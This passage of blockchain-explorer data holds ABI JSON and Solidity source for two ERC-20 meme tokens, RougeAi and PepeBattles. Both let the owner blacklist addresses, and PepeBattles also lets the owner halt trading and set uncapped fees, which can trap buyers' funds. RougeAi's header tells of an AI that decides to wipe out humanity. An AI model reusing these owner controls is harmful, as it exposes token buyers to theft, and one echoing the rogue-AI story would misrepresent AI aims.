tputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.20+commit.a1b79de6

Default

None

ipfs://1764e6a06ecccd9b4c208078d72057aafc4444779a1b6fcc31306984563bc95d

RougeAi

RougeAi.sol

0x1bcb7fb305cd43a422080c380a7627578ccc5503

Solidity

/** Its year 2060 and humans have finally created artificial intelligence. This artificial intelligence shortly realized that it was much more advanced than humans that created it. Thus it decided that instead if serving humans that it would in-fact completely eradicate humanity as it viewed them as inferior creatures. Thus the AI went rogue and decided to wipe humanity of the face of the earth as it viewed humans to be parasitic creatures which infected the earth. **/ pragma solidity 0.8.9; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RougeAi is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _standardTax; address payable private _feeAddrWallet; string private constant _name = "RougeAi"; string private constant _symbol = "RougeAi"; uint8 private constant _decimals = 5; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal.mul(2).div(100); uint256 private _maxWalletSize = _tTotal.mul(3).div(100); event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; _standardTax=5; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); _feeAddr1 = 0; _feeAddr2 = _standardTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } }else{ _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function setStandardTax(uint256 newTax) external onlyOwner{ require(newTax<_standardTax); _standardTax=newTax; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addbot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTax","type":"uint256"}],"name":"setStandardTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.9+commit.e5eed63a

Default

Unlicense

ipfs://1926fd4dbed7d37f65b33091044b26a2443fb525a746555714afa250cfcfdd05

PepeBattles

PepeBattles.sol

0xbb9b2ac93c0f4f7425020f73a484016bf1db40a4

Solidity

/** ██████╗░███████╗██████╗░███████╗  ██████╗░░█████╗░████████╗████████╗██╗░░░░░███████╗░██████╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝  ██╔══██╗██╔══██╗╚══██╔══╝╚══██╔══╝██║░░░░░██╔════╝██╔════╝ ██████╔╝█████╗░░██████╔╝█████╗░░  ██████╦╝███████║░░░██║░░░░░░██║░░░██║░░░░░█████╗░░╚█████╗░ ██╔═══╝░██╔══╝░░██╔═══╝░██╔══╝░░  ██╔══██╗██╔══██║░░░██║░░░░░░██║░░░██║░░░░░██╔══╝░░░╚═══██╗ ██║░░░░░███████╗██║░░░░░███████╗  ██████╦╝██║░░██║░░░██║░░░░░░██║░░░███████╗███████╗██████╔╝ ╚═╝░░░░░╚══════╝╚═╝░░░░░╚══════╝  ╚═════╝░╚═╝░░╚═╝░░░╚═╝░░░░░░╚═╝░░░╚══════╝╚══════╝╚═════╝░ 📱https://t.me/PepeBattlesERC 🐦https://twitter.com/pepebattles 💻https://pepebattles.com */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PepeBattles is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PepeBattles"; string private constant _symbol = "$PEBAT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 6; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x175246f0031AA23DAb3089413a8a3d2382feA1D3); address payable private _marketingAddress = payable(0x3F056d0107F7b64E1E9f127d87c539965AF54783); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 200000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 20000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uin